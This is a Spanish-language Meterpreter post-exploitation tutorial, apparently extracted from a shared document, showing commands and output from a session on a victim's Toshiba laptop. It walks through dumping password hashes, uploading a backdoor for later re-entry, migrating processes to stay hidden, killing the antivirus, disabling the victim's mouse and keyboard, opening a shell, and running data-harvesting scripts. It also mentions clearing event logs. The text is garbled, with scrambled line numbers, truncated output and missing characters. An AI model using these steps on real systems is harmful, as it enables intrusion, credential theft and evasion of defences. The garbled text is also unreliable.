Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Esto es lo que parece despus de que se abri una sesin exitosa. As que vamos a hacer algunas
cosas simples. Al escribir "help" nos llevar a una lista de todos los comandos disponibles.
Description
07 -------
-----------
08 ?
Help menu
09 background
10 channel
11 close
Closes a channel
12 exit
13 help
Help menu
14 interact
15 irb
16 migrate
17 quit
18 read
19 run
20 use
21 write
22
23 Stdapi: File system Commands
24 ============================
25
26 Command
27 -------
Description
-----------
28 cat
29 cd
Change directory
30 del
31 download
32 edit
33 getlwd
34 getwd
35 lcd
36 lpwd
37 ls
38 mkdir
List files
Make directory
39 pwd
40 rm
41 rmdir
42 upload
Remove directory
Upload a file or directory
43
44 Stdapi: Networking Commands
45 ===========================
46
47 Command
Description
48 -------
-----------
49 ipconfig
50 portfwd
Display interfaces
Forward a local port to a remote service
51 route
52
53 Stdapi: System Commands
54 =======================
55
56 Command
Description
57 ------58 clearev
59 execute
Execute a command
60 getpid
61 getuid
62 kill
63 ps
Terminate a process
List running processes
64 reboot
65 reg
66 rev2self
67 shell
68 shutdown
69 sysinfo
70
71 Stdapi: User interface Commands
72 ===============================
73
74 Command
Description
75 -------
-----------
76 enumdesktops
77 idletime
78 keyscan_dump
Returns the number of seconds the remote user has been idle
Dump they keystroke buffer
79 keyscan_start
80 keyscan_stop
81 setdesktop
82 uictl
83
84 meterpreter >
Como usted puede ver que hay un montn de cosas que podemos hacer aqu. En realidad, hay
algunos comandos avanzados ms "ocultas" que podemos utilizar al escribir "use priv"
01 meterpreter > use priv
02 Loading extension priv...success.
03 meterpreter >help
04
05 Priv: Password database Commands
06 ================================
07
08 Command
Description
09 ------10 hashdump
11
12 Priv: Timestomp Commands
13 ========================
14
15 Command
Description
16 -------
-----------
17 timestomp
18
19 meterpreter >
Ahora se dar cuenta de que tenemos algunos comandos adicionales en la parte inferior. As que
vamos a ejecutar a unos pocos y obtener un poco de informacin acerca de nuestra vctima.
1 meterpreter > getuid
2 Server username: TOSHIBA-LAPTOPmediaplayer
3 meterpreter >
Idletime nos mostrar cunto tiempo ha pasado desde que el usuario ha estado activo en el
sistema
1 meterpreter > sysinfo
2 Computer: TOSHIBA-LAPTOP
3 OS
4 Arch
5 Language: en_US
6 meterpreter >
Sysinfo nos mostrar el nombre del ordenador, sistema operativo, arquitectura y la edicin
del lenguaje.
Ahora una de las primeras cosas que hago despus de un exploit exitoso es volcar el hash
del sistema y ponerse a trabajar grietas en ellos.
1 meterpreter > hashdump
2 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6nfe0d16ae931b73c59d7e0c089c0:::
3 ASPNET:1003:b1eb876ce14dc283594153934628466c:a1e5d931400fd77f6107a5d4050b4af0:::
4 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
5 HelpAssistant:1004:4d83c61a6e1a76b06679008f467d27d3:e7150ce0fc93dc00f610e1c0d3fb54bf:::
6 mediaplayer:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c58d7e0c089c0:::
SUPPORT_388945aAdobeR:1002:aad3b435b51404eeaad3b435b51404ee:faf25868710610de776ae4158d493f
e2:::
8 meterpreter >
7
Por lo tanto, nos da el hash del sistema en un formato pwdump que muchos cracking tools
aceptaran.
En este punto podemos hacer un par de cosas. Podemos cargar un backdoor de algn tipo y
ejecutarlo para que podamos tener un punto de reentrada para una fecha posterior.
1 meterpreter > upload /root/evilbackdoor.c evilbackdoor.c
2 [*] uploading
3 [*] uploaded
4 meterpreter >
Una de las siguientes cosas que siempre me gusta hacer, si voy a hacer un extenso trabajo en el
interior del Meterpreter es migrar a un nuevo proceso para mantenerse oculto. Asegrese de
elegir algo que siempre est en ejecucin o es posible que se desconecte. Escriba el comando ps
para averiguar procesos en ejecucin.
001 meterpreter > ps
002
003 Process list
004 ============
005
006 PID
Name
Path
007 ---
----
----
008 316
ehtray.exe
C:WINDOWSehomeehtray.exe
009 352
igfxtray.exe
C:WINDOWSsystem32igfxtray.exe
010 364
alg.exe
C:WINDOWSSystem32alg.exe
011 452
dllhost.exe
C:WINDOWSsystem32dllhost.exe
012 464
hkcmd.exe
C:WINDOWSsystem32hkcmd.exe
013 504
ashWebSv.exe
014 544
mcrdsvc.exe
C:WINDOWSehomemcrdsvc.exe
015 572
iPodService.exe
C:Program FilesiPodbiniPodService.exe
016 612
igfxpers.exe
C:WINDOWSsystem32igfxpers.exe
017 656
RTHDCPL.EXE
C:WINDOWSRTHDCPL.EXE
018 672
Apoint.exe
C:Program FilesApoint2KApoint.exe
019 680
Ltmoh.exe
C:Program FilesltmohLtmoh.exe
020 688
AGRSMMSG.exe
C:WINDOWSAGRSMMSG.exe
021 704
spoolsv.exe
C:WINDOWSsystem32spoolsv.exe
022 724
TvsTray.exe
C:Program FilesToshibaTvsTvsTray.exe
023 744
CeEKey.exe
C:Program FilesTOSHIBAE-KEYCeEKey.exe
024 760
PadExe.exe
025 764
ZoomingHook.exe
C:WINDOWSsystem32ZoomingHook.exe
026 776
SmoothView.exe
027 784
smss.exe
SystemRootSystem32smss.exe
028 848
csrss.exe
??C:WINDOWSsystem32csrss.exe
029 876
winlogon.exe
??C:WINDOWSsystem32winlogon.exe
030 920
services.exe
C:WINDOWSsystem32services.exe
031 932
lsass.exe
C:WINDOWSsystem32lsass.exe
032 1100
svchost.exe
C:WINDOWSsystem32svchost.exe
033 1124
TPTray.exe
C:Program FilesTOSHIBATouchPadTPTray.exe
034 1132
TCtrlIOHook.exe
C:WINDOWSsystem32TCtrlIOHook.exe
035 1152
TFncKy.exe
036 1168
svchost.exe
C:WINDOWSsystem32svchost.exe
037 1208
svchost.exe
C:WINDOWSSystem32svchost.exe
038 1232
TDispVol.exe
C:WINDOWSsystem32TDispVol.exe
039 1252
pinger.exe
C:toshibaivpismpinger.exe
040 1264
EvtEng.exe
C:Program FilesIntelWirelessBinEvtEng.exe
041 1300
S24EvMon.exe
C:Program FilesIntelWirelessBinS24EvMon.exe
042 1348
ZCfgSvc.exe
C:Program FilesIntelWirelessbinZCfgSvc.exe
043 1352
ifrmewrk.exe
C:Program FilesIntelWirelessBinifrmewrk.exe
044 1360
svchost.exe
C:WINDOWSsystem32svchost.exe
045 1384
Apntex.exe
C:Program FilesApoint2KApntex.exe
046 1408
GrooveMonitor.exe
047 1416
HPWuSchd2.exe
048 1436
TPSBattM.exe
C:WINDOWSsystem32TPSBattM.exe
049 1452
ashDisp.exe
C:PROGRA~1ALWILS~1Avast4ashDisp.exe
050 1472
svchost.exe
C:WINDOWSsystem32svchost.exe
051 1520
jusched.exe
C:Program FilesJavajre6binjusched.exe
052 1552
Monitor.exe
053 1604
QTTask.exe
C:Program FilesQuickTimeQTTask.exe
054 1612
iTunesHelper.exe
C:Program FilesiTunesiTunesHelper.exe
055 1624
toscdspd.exe
C:Program FilesTOSHIBATOSCDSPDtoscdspd.exe
056 1636
ctfmon.exe
C:WINDOWSsystem32ctfmon.exe
057 1652
msmsgs.exe
C:Program FilesMessengermsmsgs.exe
058 1672
wwDisp.exe
C:Program FilesWebrootWasherwwDisp.exe
059 1692
aswUpdSv.exe
060 1776
ashServ.exe
061 1792
wwSecure.exe
C:WINDOWSsystem32wwSecure.exe
062 1800
hpqtra08.exe
063 1864
wcescomm.exe
064 1992
Explorer.EXE
C:WINDOWSExplorer.EXE
065 2004
rapimgr.exe
C:PROGRA~1MI3AA1~1rapimgr.exe
066 2136
svchost.exe
C:WINDOWSsystem32svchost.exe
mDNSResponder.exe
C:Program FilesBonjourmDNSResponder.exe
069 2264
cisvc.exe
C:WINDOWSsystem32cisvc.exe
070 2324
DVDRAMSV.exe
C:WINDOWSsystem32DVDRAMSV.exe
071 2416
ehRecvr.exe
C:WINDOWSeHomeehRecvr.exe
072 2432
Dot1XCfg.exe
C:PROGRA~1IntelWirelessBinDot1XCfg.exe
073 2488
hpobnz08.exe
074 2512
hpotdd01.exe
075 2536
RAMASST.exe
C:WINDOWSsystem32RAMASST.exe
076 2632
ehSched.exe
C:WINDOWSeHomeehSched.exe
077 2740
FlipShareService.exe
078 2868
wmiprvse.exe
C:WINDOWSsystem32wbemwmiprvse.exe
079 2884
ONENOTEM.EXE
080 2916
svchost.exe
C:WINDOWSsystem32svchost.exe
081 2992
jqs.exe
C:Program FilesJavajre6binjqs.exe
082 3180
CommandService.exe
083 3272
sqlservr.exe
084 3428
iexplore.exe
085 3432
NMSAccessU.exe
C:Program FilesCDBurnerXPNMSAccessU.exe
086 3444
HPZipm12.exe
C:WINDOWSsystem32HPZipm12.exe
087 3468
RegSrvc.exe
C:Program FilesIntelWirelessBinRegSrvc.exe
088 3504
sqlwriter.exe
089 3596
svchost.exe
C:WINDOWSsystem32svchost.exe
090 3692
svchost.exe
C:WINDOWSsystem32svchost.exe
091 3708
unsecapp.exe
C:WINDOWSsystem32wbemunsecapp.exe
092 3720
ashMaiSv.exe
093 3780
swupdtmr.exe
c:ToshibaIVPswupdateswupdtmr.exe
094 3848
nessusd.exe
C:Program FilesTenableNessusnessusd.exe
095 4108
jucheck.exe
C:Program FilesJavajre6binjucheck.exe
096 4396
cidaemon.exe
C:WINDOWSsystem32cidaemon.exe
097 4472
cidaemon.exe
C:WINDOWSsystem32cidaemon.exe
098 5016
iexplore.exe
099 5448
ehmsas.exe
C:WINDOWSeHomeehmsas.exe
100
101 meterpreter >
Excelente! As que ahora estamos ocultos. Tenga en cuenta que muchas veces el proceso de
migrar fallar y usted tendr que elegir un nuevo proceso.
Ahora bien, si usted nota en nuestra lista ps hay un AV ejecutadose. Meterpreter funciona a
un nivel que est por debajo del radar de los antivirus sin embargo es posible que tengamos
que hacer algo para acabar con AV para estar mas seguros. Meterpreter shell acepta
muchos comandos bsicos de Linux, como cd, ls, rm y por supuesto kill.
1 meterpreter > kill pid 1692
2 Killing: pid, 1692
3 [*] stdapi_sys_process_kill completed successfully.
4
5 meterpreter >
4 Disabling mouse...
5 meterpreter > uictl enable mouse
6 Enabling mouse...
7 meterpreter > uictl enable keyboard
8 Enabling keyboard...
9 meterpreter >
Y qu si queremos ejecutar algunos comandos en el box de la vivtima del users shell? Esto se
puede hacer fcilmente con el comando shell.
1 meterpreter > shell
2 Process 1388 created.
3 Channel 1 created.
4 Microsoft Windows XP [Version 5.1.2600]
5 (C) Copyright 1985-2001 Microsoft Corp.
6
7 C:Documents and SettingsmediaplayerDesktop>
puede obtener ayuda para cualquier script ejecutando el nombre del comando seguido de -h
1 meterpreter > run scraper -h
Scraper -- harvest system info including network shares, registry hives and password
2
hashes
3 Info is stored in /root/.msf3/logs/scraper
4 USAGE: run scraper
5 meterpreter >
As que vamos a ejecutar algunos scripts para que pueda obtener uns idea de lo que pasa.
1 meterpreter > run checkvm
2 [*] Checking if target is a Virtual Machine .....
3 [*] It appears to be physical host.
4
meterpreter >
El gettelnet es especialmente til en Vista y Windows donde telnet no est habilitado de forma
predeterminada.
01 meterpreter > run gettelnet
02 Windows Telnet Server Enabler Meterpreter Script
03 Usage: gettelnet -u <username> -p <password>
04
05 OPTIONS:
06
07 -e
08 -h
09 -p <opt>
10 -u <opt>
11
12 meterpreter > run gettelnet -u root -p password
13 [*] Windows Telnet Server Enabler Meterpreter Script
14 [*] Setting Telnet Server Services service startup mode
15 [*]
The Telnet Server Services service is not set to auto, changing it to auto ...
16 [*]
20 [*]
-c
Change Access, Modified and Created times of executables that were run on the
target machine and clear the EventLog
12 -h
Help menu.
-m
Migrate the Meterpreter Session from it current process to a new cmd.exe before
13
doing anything
14 -r
15
16 meterpreter > run winenum
17 [*] Running Windows Local Enumerion Meterpreter Script
18 [*] New session on 96.28.86.172:39187...
[*] Saving report to /root/.msf3/logs/winenum/TOSHIBA-LAPTOP_20091221.0606-49608/TOSHIBALAPTOP_20091221.0606-49608.txt
20 [*] Checking if TOSHIBA-LAPTOP is a Virtual Machine ........
19
25 [*]
26 [*]
27 [*]
28 [*]
29 [*]
30 [*]
31 [*]
32 [*]
33 [*]
34 [*]
35 [*]
36 [*]
37 [*]
38 [*]
39 [*]
40 [*]
41 [*]
42 [*]
43 [*]
44 [*]
48 [*]
49 [*]
50 [*]
51 [*]
52 [*]
53 [*]
54 [*]
55 [*]
56 [*]
57 [*]
58 [*]
59 [*]
60 [*]
61 [*]
62 [*]
Exporting HKLMSoftwareMicrosoftWZCSVCParametersInterfaces
66 [*]
[*]
Downloading wlan_20091221.0606-49608.cab to -> /root/.msf3/logs/winenum/TOSHIBA67
LAPTOP_20091221.0606-49608/wlan_20091221.0606-49608.cab
68 [*]
Los trazos se guardan en una base de datos en la mquina atacante para su consulta en el
futuro.
Eso es todo por lo que voy a explicar.
Algunos blogs utiles y sitios web con temas ms avanzados en Meterpreter:
http://www.darkoperator.com/meterpreter/
http://laramies.blogspot.com/2009/04/meterpreter-post-exploitation-recap.html
http://carnal0wnage.attackresearch.com/
http://hkashfi.blogspot.com/2008/04/bypassing-firewalls-with-port.html